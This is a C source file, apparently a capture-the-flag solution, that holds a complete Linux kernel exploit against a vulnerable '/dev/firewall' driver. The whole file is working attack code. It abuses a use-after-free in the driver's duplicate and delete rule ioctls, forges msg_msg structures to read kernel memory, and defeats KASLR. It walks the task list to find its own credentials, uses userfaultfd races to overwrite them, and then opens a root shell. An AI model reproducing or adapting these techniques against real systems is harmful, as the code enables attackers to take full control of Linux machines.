1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <linux/userfaultfd.h> #include <sys/types.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/xattr.h> #include <sys/sem.h> #include <sys/socket.h> #include <semaphore.h> #include <ctype.h> #include <stdint.h> #include <asm/ldt.h> #include <poll.h> #include <linux/userfaultfd.h> #include <sys/shm.h> #define SECONDARY_STARTUP_64 0xffffffff81000030 #define PAGE_SIZE 0x1000 #define INBOUND 0 #define OUTBOUND 1
#define ADD_RULE 0x1337babe #define DELETE_RULE 0xdeadbabe #define EDIT_RULE 0x1337beef #define SHOW_RULE 0xdeadbeef #define DUP_RULE 0xbaad5aad
#ifndef MSG_COPY #define MSG_COPY 040000 #endif
void err_msg(char *msg) { printf("\033[31m\033[1m[!] %s \033[0m\n",msg); exit(0); } void output_msg(char *msg) { printf("\033[34m\033[1m[+] %s \033[0m\n",msg); } void print_addr(char *msg, size_t value) { printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value); }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); output_msg("Process binded to core"); }
void print_binary(void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0; i < len / 8; i += 2) { printf(" %04x", i * 8); for (int j = 0; j < 2; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 16 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
typedef struct { long mtype; char mtext[1]; }msg;
struct list_head { struct list_head *next, *prev; };
struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; struct msg_msgseg *next; void *security; };
char temp_page_for_stuck_1[0x2000]; char temp_page_for_stuck_2[0x1000]; void register_userfaultfd(pthread_t *monitor_thread, void *addr, unsigned long len, void *(*handler)(void*)) { long uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { err_msg("userfaultfd"); }
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { err_msg("ioctl-UFFDIO_API"); }
uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { err_msg("ioctl-UFFDIO_REGISTER"); }
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd); if (s != 0) { err_msg("pthread_create"); } }
void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, void *buf, unsigned long len, void *(*handler)(void*)) { register_userfaultfd(monitor_thread, buf, len, handler); }
#define DESC_MAX 0x800 int firewall_fd, fd; typedef struct { char iface[16]; char name[16]; char ip[16]; char netmask[16]; uint8_t idx; uint8_t type; uint16_t proto; uint16_t port; uint8_t action; #ifdef EASY_MODE char desc[DESC_MAX]; #endif } user_rule_t;
typedef struct { char iface[16]; char name[16]; uint32_t ip; uint32_t netmask; uint16_t proto; uint16_t port; uint8_t action; uint8_t is_duplicated; #ifdef EASY_MODE char desc[DESC_MAX]; #endif } rule_t;
void add(user_rule_t *req){ ioctl(firewall_fd, 0x1337babe, req); }
void delete(user_rule_t *req){ ioctl(firewall_fd, 0xdeadbabe, req); }
void edit(user_rule_t *req){ ioctl(firewall_fd, 0x1337beef, req); }
void dup_rule(user_rule_t *req){ ioctl(firewall_fd, 0xbaad5aad, req); }
void construct_user_rule(user_rule_t *buf, char *iface, char *name, char *ip, char *netmask, uint8_t idx, uint8_t type, uint16_t proto, uint16_t port, uint8_t action){ strncpy(((user_rule_t *) buf)->iface, iface, 0x10); strncpy(((user_rule_t *) buf)->name, name, 0x10); strcpy(((user_rule_t *) buf)->ip, ip); strcpy(((user_rule_t *) buf)->netmask, netmask); ((user_rule_t *) buf)->idx = idx; ((user_rule_t *) buf)->type = type; ((user_rule_t *) buf)->proto = proto; ((user_rule_t *) buf)->port = port; ((user_rule_t *) buf)->action = action; return; }
void gen_dot_notation(char *buf, uint32_t val) { sprintf(buf, "%d.%d.%d.%d", val & 0xff, (val & 0xff00) >> 8, (val & 0xff0000) >> 16, (val & 0xff000000) >> 24); return; }
char *buf; int ms_qid[0x100]; int pipe_fd[3][2]; size_t real_cred, cred; char *hijack_page, *write_msg_page; size_t next_secondary_msg, next_primary_msg, primary_msg, queue; void *hijack_func_handler(void *args){ struct uffd_msg msg; int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) args;
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
if (nready == -1) { err_msg("poll"); } nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) { err_msg("EOF on userfaultfd!\n"); }
if (nread == -1) { err_msg("read"); }
if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n"); }
printf("[+] hello stuck here!\n"); write(pipe_fd[0][1], "a", 1); memset(temp_page_for_stuck_1, 0, 0x2000); int size = 0x1050; ((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.next = 0; ((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.prev = 0; ((struct msg_msg *)&temp_page_for_stuck_1[0])->m_type = 1; ((struct msg_msg *)&temp_page_for_stuck_1[0])->m_ts = size - 0x38; ((struct msg_msg *)&temp_page_for_stuck_1[0])->next = (void*)(real_cred - 8);
char by; read(pipe_fd[1][0], &by, 1);
memset(&temp_page_for_stuck_2[0x50], 'd', 0x50); uffdio_copy.src = (unsigned long long) temp_page_for_stuck_1; uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address & ~(0x1000 - 1); uffdio_copy.len = 0x1000; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) { err_msg("ioctl-UFFDIO_COPY"); }
write(pipe_fd[2][1], "a", 1);
return NULL; } }
void *write_msg_handler(void *args){ struct uffd_msg msg; int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) args;
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
if (nready == -1) { err_msg("poll"); } nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) { err_msg("EOF on userfaultfd!\n"); }
if (nread == -1) { err_msg("read"); }
if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n"); }
printf("[+] just sleep my baby temporarily\n");
write(pipe_fd[1][1], "a", 1); char by; read(pipe_fd[2][0], &by, 1);
memset(temp_page_for_stuck_2, 0, 0x1000); printf("[+] try to change cred!\n"); uffdio_copy.src = (unsigned long long) temp_page_for_stuck_2; uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address & ~(0x1000 - 1); uffdio_copy.len = 0x1000; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) { err_msg("ioctl-UFFDIO_COPY"); }
return NULL; } }
void* thread_handler1(void* arg) { printf("[+] thread1 begin to work\n"); memset(hijack_page, 'c', 0x1000); if (msgsnd(ms_qid[0x20], hijack_page + PAGE_SIZE - 0xfd0, 0x1fc0, 0) < 0) err_msg("fail msgsnd");
printf("[+] thread1 over\n"); return NULL; } void* thread_handler2(void* arg) { char by; read(pipe_fd[0][0], &by, 1);
printf("[+] thread2 begin to work\n"); user_rule_t req; construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0); int size = 0x8; ((struct msg_msg *)&req)->m_list.next = (void*)queue; ((struct msg_msg *)&req)->m_list.prev = (void*)queue; ((struct msg_msg *)&req)->m_type = 1; ((struct msg_msg *)&req)->m_ts = size; gen_dot_notation(((char *)&req + 0x20), (uint32_t)((next_secondary_msg) & 0xffffffff)); gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((next_secondary_msg) >> 32) & 0xffffffff)); edit(&req);
if (msgrcv(ms_qid[0], buf, size, 1, IPC_NOWAIT | MSG_NOERROR) < 0) err_msg("fail msgrcv");
output_msg("success to free the msg_msgeg which belong to the ms_qid[0x20]"); memset(write_msg_page, 'a', 0x1000); if (msgsnd(ms_qid[0x21], write_msg_page + PAGE_SIZE - 0xfd0, 0x1050 - 0x38, 0) < 0) err_msg("fail msgsnd"); printf("[+] thread2 over\n");
return NULL; }
size_t msg_msg_addr; size_t init_task = 0xffffffff81c124c0; size_t init_ipc_ns = 0, page_offset_base = 0; size_t kernel_base = 0xffffffff81000000, kernel_offset; int main(){ int ret; int idx; int size; int shm_id; char *shm_addr; user_rule_t req;
bind_core(0); buf = malloc(0x4000); firewall_fd = open("/dev/firewall", O_RDONLY); fd = firewall_fd; if(firewall_fd < 0) err_msg("Fail to open device...");
pipe(pipe_fd[0]); pipe(pipe_fd[1]); pipe(pipe_fd[2]);
pthread_t uffd_hijack, uffd_write_msg; hijack_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd_for_thread_stucking(&uffd_hijack, hijack_page + PAGE_SIZE, PAGE_SIZE, hijack_func_handler);
write_msg_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd_for_thread_stucking(&uffd_write_msg, write_msg_page + PAGE_SIZE, PAGE_SIZE, write_msg_handler);
for (int i = 0; i < 0x22; i++){ ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (ms_qid[i] < 0) err_msg("msgget"); } construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 0, INBOUND, 0, 0, 0); add(&req); dup_rule(&req); delete(&req);
memset(buf, 0, 0x1000); memset(buf, 'a', 0x10); size = 0x40; if (msgsnd(ms_qid[0], buf, size - 0x30, 0) < 0) err_msg("Fail send msg"); for (int i = 1; i < 0x20; i++){ *(size_t *)&buf[0] = 0x6161616161610000 + i; if (msgsnd(ms_qid[i], buf, size - 0x30, 0) < 0) err_msg("Fail send msg"); memset(buf, 'a', 0x10); if (msgsnd(ms_qid[i], buf, 0x1fc8, 0) < 0) err_msg("Fail send msg"); }
size = 0xfd0; memset((void *)&req, 0, sizeof(user_rule_t)); construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0); ((struct msg_msg*)&req)->m_type = 1; ((struct msg_msg*)&req)->m_ts = size; edit(&req);
memset(buf, 0, 0x4000); ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if(ret < 0) err_msg("Fail msgrcv"); print_binary(buf, 0x40);
int pos; for (pos = 0; pos < size; pos += 8 ){ if( (*(size_t *)&buf[pos] & 0xffffffffffff0000) == 0x6161616161610000 && *(size_t *)&buf[pos+8] == 0x10){ idx = *(size_t *)&buf[pos] & 0xff; queue = *(size_t *)&buf[pos-0x8]; next_secondary_msg = *(size_t *)&buf[pos-0x10]; page_offset_base = next_secondary_msg & 0xfffffffff0000000; printf("[+] the next msg_msg's idx == %d\n", idx); print_addr("queue", queue); print_addr("next_secondary_msg", next_secondary_msg); print_addr("page_offset_base", page_offset_base); break; } }
size = 0x1010; ((struct msg_msg*)&req)->m_ts = size; gen_dot_notation(((char *)&req + 0x20), (uint32_t)((next_secondary_msg - 0x8) & 0xffffffff)); gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((next_secondary_msg - 0x8) >> 32) & 0xffffffff)); edit(&req);
memset(buf, 0, 0x4000); ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); next_primary_msg = *(size_t *)&buf[0xfe0]; primary_msg = next_primary_msg - pos - 0x18; printf("[+] get cur msg_msg addr!\n"); print_addr("next_primary_msg", next_primary_msg); print_addr("primary_msg", primary_msg);
size = 0x1010; ((struct msg_msg*)&req)->m_ts = size; gen_dot_notation(((char *)&req + 0x20), (uint32_t)((page_offset_base + 0x9d000 - 0x10) & 0xffffffff)); gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((page_offset_base + 0x9d000 - 0x10) >> 32) & 0xffffffff)); edit(&req);
memset(buf, 0, 0x4000); ret = msgrcv(ms_qid[0], buf, size, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); print_binary(buf+0xfa0, 0x60);
kernel_offset = *(size_t *)&buf[0xfe0] - SECONDARY_STARTUP_64; init_task += kernel_offset; kernel_base += kernel_offset; printf("[+] get cur init_task addr!\n"); print_addr("init_task", init_task); print_addr("kernel_offset", kernel_offset);
int pid, cur_pid; size_t cur_task, next, tasks = init_task + 0x298; cur_pid = getpid(); printf("[+] my pid is %d\n", cur_pid); while (cur_pid != pid){ size = 0x1400; ((struct msg_msg*)&req)->m_ts = size; gen_dot_notation(((char *)&req + 0x20), (uint32_t)((tasks - 8) & 0xffffffff)); gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((tasks - 8) >> 32) & 0xffffffff)); edit(&req);
memset(buf, 0, 0x4000); ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0) err_msg("Fail msgrcv"); print_binary(buf+0xfa0, 0x50);
pid = *(int *)&buf[0xfd8 + 0x100]; tasks = *(size_t *)&buf[0xfd8 + 8]; print_addr("found pid", pid); print_addr("found tasks", tasks); } cur_task = tasks - 0x298; cred = *(size_t *)&buf[0xfd8 + 0x2a8]; real_cred = *(size_t *)&buf[0xfd8 + 0x2a0]; if (cred != real_cred) err_msg("fail to find init_tasks"); printf("[+] yeah you got it!\n"); print_addr("real_cred", real_cred); print_addr("cur_task", cur_task); if(real_cred != cred) err_msg("fail to find cred, plz try again!");
ret = msgrcv(ms_qid[idx], buf, 0x40, 0, IPC_NOWAIT | MSG_NOERROR); if (ret < 0) err_msg("bad lucky!"); ret = msgrcv(ms_qid[idx], buf, 0x2000, 0x6161616161616161, IPC_NOWAIT | MSG_NOERROR); if (ret < 0) err_msg("bad lucky!");
pthread_t th1, th2; ret = pthread_create(&th1, NULL, thread_handler1, NULL); if (ret != 0) err_msg("FAILED to create a new thread"); ret = pthread_create(&th2, NULL, thread_handler2, NULL); if (ret != 0) err_msg("FAILED to create a new thread"); pthread_join(th1, NULL); pthread_join(th2, NULL);
if(getuid() == 0){ printf("[+] you are great man!"); system("/bin/sh"); } return 0; }
|